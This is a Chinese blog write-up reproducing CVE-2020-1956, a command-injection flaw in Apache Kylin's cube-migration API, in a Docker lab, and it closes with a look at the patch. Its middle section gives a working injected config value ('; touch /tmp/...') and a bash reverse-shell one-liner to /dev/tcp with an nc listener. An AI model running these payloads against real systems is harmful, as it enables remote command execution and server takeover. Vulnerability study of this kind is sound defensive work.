当前位置: 首页 > article >正文

【漏洞复现】CVE-2020-1956

漏洞信息

NVD - CVE-2020-1956

Apache Kylin 2.3.0, and releases up to 2.6.5 and 3.0.1 has some restful apis which will concatenate os command with the user input string, a user is likely to be able to execute any os command without any protection or validation.

背景介绍

Kylin is a high concurrency, high performance and intelligent OLAP engine that provides low-cost and ultimate data analytics experience.

• 主页:https://kylin.apache.org/

• 源码:https://github.com/apache/kylin/

环境搭建

# 拉取镜像
docker pull apachekylin/apache-kylin-standalone:3.0.1
# 运行
docker run -d -m 8G -p 7070:7070 -p 8088:8088 -p 50070:50070 -p 8032:8032 -p 8042:8042 -p 16010:16010 apachekylin/apache-kylin-standalone:3.0.1
# 进入容器
docker exec -it kylin /bin/bash

Kylin Web UI: http://127.0.0.1:7070/kylin/login

默认账号:admin、默认密码:KYLIN

【环境搭建】Apache Kylin 各个版本Docker搭建汇总-CSDN博客

【环境搭建】使用Dockerfile构建容器搭建Kylin特定版本-CSDN博客

漏洞复现

参考:Apache Kylin 命令注入漏洞 CVE-2020-1956 POC 分析

按照官方文档给出的路径发送 POST Migrate Cube 的报文:

POST /kylin/api/cubes/kylin_streaming_cube/learn_kylin/migrate HTTP/1.1

在这里插入图片描述

访问System–>Configuration,修改Server Config配置,添加如下内容:

kylin.tool.auuto-migrate-cube.enabled=true

在这里插入图片描述

修改完配置之后,再次发送 POST Migrate Cube 的报文,这次的报错提示为 Source configuration should not be empty.,这就说明刚才的配置生效了:

在这里插入图片描述

在源码的这个路径apache-kylin-3.0.1\server-base\src\main\java\org\apache\kylin\rest\service下可以找到CubeService.java,在其中可以找到刚才的报错信息Source configuration should not be empty.

在这里插入图片描述

可以看到代码中对 srcCfgUri 和 dstCfgUri 进行了非空检查,所以我们继续添加Server Config配置:

kylin.tool.auto-migrate-cube.src-config=/home/admin/apache-kylin-3.0.1-bin-hbase1x/conf/kylin.propertie
kylin.server.cluster-name=kylin_metadata
kylin.tool.auto-migrate-cube.dest-config=/tmp/kylin.properties kylin_streaming_cube learn_kylin true true true true; touch /tmp/Mitch311; echo

再次发送 POST Migrate Cube 的报文,得到200 OK

在这里插入图片描述

进入容器查看成功执行了命令touch Mitch311

在这里插入图片描述

如果想进一步反弹shell的话,只需要把刚才的命令换成如下:

bash -i >& /dev/tcp/<宿主机IP>/<port> 0>&1

在宿主机上使用netcat监听即可反弹shell:

nc -lvvp <port>

修复方案

这个漏洞的补丁代码在 github 上,地址是 https://github.com/apache/kylin/commit/9cc3793ab2f2f0053c467a9b3f38cb7791cd436a#

在这里插入图片描述

可以看出,漏洞点在 CubeService.java 中的 migrateCube() 函数,漏洞原因是使用 String.format() 格式化待执行的系统命令且未做过滤,导致命令内容可被注入,涉及的参数包括 srcCfgUridstCfgUriprojectName三个。

漏洞补丁方案对这些参数进行了黑名单过滤:

在这里插入图片描述

此外,从4.x.x之后的版本,从/kylin/api入口已经不能修改Server Config配置了。


http://www.kler.cn/a/409827.html

相关文章:

  • FFmpeg 音视频同步问题
  • 使用 OpenCV 进行视频中的行人检测
  • Linux线程(Linux和Windows的线程区别、Linux的线程函数、互斥、同步)
  • Linux 正则表达式(basic and extened)
  • C#构建一个简单的循环神经网络,模拟对话
  • Transformer详解及衍生模型GPT|T5|LLaMa
  • 在接口实现时使用自定义对象的方法(非工具类,和单例模式)
  • Java中三种常用布局方式
  • Vue报错:error Mixed spaces and tabs no-mixed-spaces-and-tabs——报错处理
  • 神经网络归一化方法总结
  • 鸿蒙心路旅程:探索与收获之旅 勇攀高峰
  • 【我在CSDN成长】我的五周年创作纪念日
  • 掌握控制流的艺术:Go语言中的if、for和switch语句
  • php 导出excel 一个单元格 多张图片
  • 释放已删除空间资源
  • API设计与开发
  • MATLAB R2024b软件下载安装步骤
  • A047-基于Spring Boot的医疗挂号管理系统的设计与实现
  • java编程开发基础,正则表达式的使用案例Demo
  • 基于微信小程序的小动物救助领养平台
  • 页的初步认识
  • H3C OSPF 多区域实验
  • 【数据结构与算法】相交链表、环形链表(判断是否有环)、环形链表(返回入环节点)
  • Rust环境安装乱码解决
  • cookie属性SameSite简介
  • java多线程 1